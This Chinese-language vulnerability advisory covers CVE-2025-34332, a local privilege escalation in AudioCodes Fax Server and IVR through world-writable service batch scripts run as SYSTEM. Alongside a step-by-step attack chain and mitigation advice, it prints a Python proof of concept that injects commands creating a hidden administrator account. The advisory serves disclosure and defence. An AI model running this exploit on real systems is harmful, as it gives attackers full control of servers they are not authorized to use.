IPBUF安全漏洞报告
English
CVE-2025-34332 CVSS 7.8 高危

CVE-2025-34332 AudioCodes Fax Server本地权限提升漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-34332
漏洞类型
本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AudioCodes Fax Server, AudioCodes Auto-Attendant IVR

相关标签

暂无标签

漏洞概述

AudioCodes Fax Server和Auto-Attendant IVR设备在2.6.23及以下版本中存在严重的本地权限提升漏洞。该设备的Web管理组件通过ajaxPost.php接口控制后端Windows服务,使用PHP的system()函数调用位于C:\F2MAdmin\F2E\AudioCodes_files\utils\Services\目录下的批处理脚本,并以NT AUTHORITY\SYSTEM账户权限执行这些脚本。由于该目录下的批处理文件具有过于宽松的ACL权限设置,任何经过本地认证的低权限用户都可以修改这些脚本内容,注入任意恶意命令。当管理员通过Web界面执行服务启动或停止操作时,被篡改的脚本将以SYSTEM高权限执行,从而实现本地权限提升。攻击者利用此漏洞可以从普通用户权限提升到系统最高权限,完全控制目标服务器。该漏洞无需用户交互,攻击复杂度低,对系统的机密性、完整性和可用性都会造成严重影响。

技术细节

该漏洞的根本原因在于不安全的文件权限配置和服务控制机制。具体来说:1) Web管理组件使用PHP的system()函数执行批处理脚本,脚本路径为C:\F2MAdmin\F2E\AudioCodes_files\utils\Services\;2) 这些脚本以NT AUTHORITY\SYSTEM账户权限运行,具有最高系统权限;3) 目录和脚本文件的ACL权限设置过于宽松,允许经过认证的任何本地用户具有写入权限;4) 通过ajaxPost.php发送服务控制请求(如启动/停止服务)时,PHP会调用system()执行对应脚本;5) 攻击者首先识别可写的脚本文件,然后用恶意命令替换脚本内容(如添加创建管理员账户的命令);6) 当下次触发服务操作时,被篡改的脚本以SYSTEM权限执行,攻击者获得系统最高权限。整个攻击过程无需复杂技术手段,普通本地用户即可实施。

攻击链分析

STEP 1
1
攻击者获取目标系统的本地用户访问权限(低权限账户)
STEP 2
2
攻击者识别易受攻击的服务脚本位置:C:\F2MAdmin\F2E\AudioCodes_files\utils\Services\
STEP 3
3
攻击者检查脚本文件的ACL权限,确认当前用户具有写入权限
STEP 4
4
攻击者备份原始批处理脚本内容,然后修改脚本注入恶意命令(如创建管理员账户)
STEP 5
5
攻击者通过Web管理界面(ajaxPost.php)发送服务启动或停止请求
STEP 6
6
PHP以SYSTEM权限执行被篡改的批处理脚本,恶意命令以最高权限运行
STEP 7
7
攻击者成功获得系统最高权限,可完全控制目标服务器,执行任意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-34332 AudioCodes Fax Server LPE PoC # This PoC demonstrates local privilege escalation via writable service scripts import os import subprocess import time TARGET_DIR = r'C:\F2MAdmin\F2E\AudioCodes_files\utils\Services' BACKUP_EXT = '.bak' def check_script_permissions(): """Check if service scripts are writable by current user""" if not os.path.exists(TARGET_DIR): print(f"[-] Target directory not found: {TARGET_DIR}") return False scripts = [f for f in os.listdir(TARGET_DIR) if f.endswith('.bat')] writable_scripts = [] for script in scripts: script_path = os.path.join(TARGET_DIR, script) # Check write permission if os.access(script_path, os.W_OK): writable_scripts.append(script) print(f"[+] Writable script found: {script}") return writable_scripts def backup_script(script_path): """Backup original script content""" backup_path = script_path + BACKUP_EXT try: with open(script_path, 'r') as f: original_content = f.read() with open(backup_path, 'w') as f: f.write(original_content) print(f"[+] Backup created: {backup_path}") return original_content except Exception as e: print(f"[-] Backup failed: {e}") return None def inject_payload(script_path, payload): """Inject malicious payload into script""" try: with open(script_path, 'w') as f: f.write(payload) print(f"[+] Payload injected into: {script_path}") return True except Exception as e: print(f"[-] Injection failed: {e}") return False def trigger_service_action(): """Trigger service action via ajaxPost.php to execute modified script""" # This would typically be an HTTP request to the web interface # Example: POST request to ajaxPost.php with service action parameters print("[*] Triggering service action via web interface...") print("[*] Waiting for scheduled service operation...") time.sleep(5) return True def main(): print("=" * 60) print("CVE-2025-34332 AudioCodes Fax Server LPE Exploit") print("=" * 60) # Step 1: Check for writable scripts print("\n[Step 1] Checking script permissions...") writable_scripts = check_script_permissions() if not writable_scripts: print("[-] No writable scripts found or not vulnerable") return # Step 2: Select target script and backup target_script = writable_scripts[0] script_path = os.path.join(TARGET_DIR, target_script) print(f"\n[Step 2] Backing up original script...") original_content = backup_script(script_path) if not original_content: return # Step 3: Inject malicious payload print("\n[Step 3] Injecting privilege escalation payload...") # Payload: Create a new admin user payload = f'''@echo off REM Malicious payload for CVE-2025-34332 net user ExploitUser P@ssw0rd123 /add net localgroup Administrators ExploitUser /add REM Restore original script content {original_content} ''' inject_payload(script_path, payload) # Step 4: Trigger service action print("\n[Step 4] Triggering service action...") trigger_service_action() # Step 5: Verify exploitation print("\n[Step 5] Verifying privilege escalation...") result = subprocess.run('net user ExploitUser', capture_output=True, text=True) if 'ExploitUser' in result.stdout: print("[+] SUCCESS: New admin user created!") print("[+] Username: ExploitUser") print("[+] Password: P@ssw0rd123") else: print("[-] Exploitation may have failed or requires manual trigger") print("\n[!] Remember to restore original script after testing") if __name__ == '__main__': main()

影响范围

AudioCodes Fax Server <= 2.6.23
AudioCodes Auto-Attendant IVR <= 2.6.23

防御指南

临时缓解措施
由于该漏洞已被官方标记为EOL(生命周期结束),建议用户尽快迁移到其他支持的解决方案。如果无法立即升级,应立即限制C:\F2MAdmin\F2E\AudioCodes_files\utils\Services\目录的写入权限,移除所有非管理员账户的写访问,只保留读取和执行权限。同时,通过防火墙或访问控制列表限制Web管理界面的访问,仅允许受信任的管理IP访问。启用详细的审计日志,监控该目录下的文件变更行为。此外,考虑部署入侵检测系统(IDS)监控异常的服务控制请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表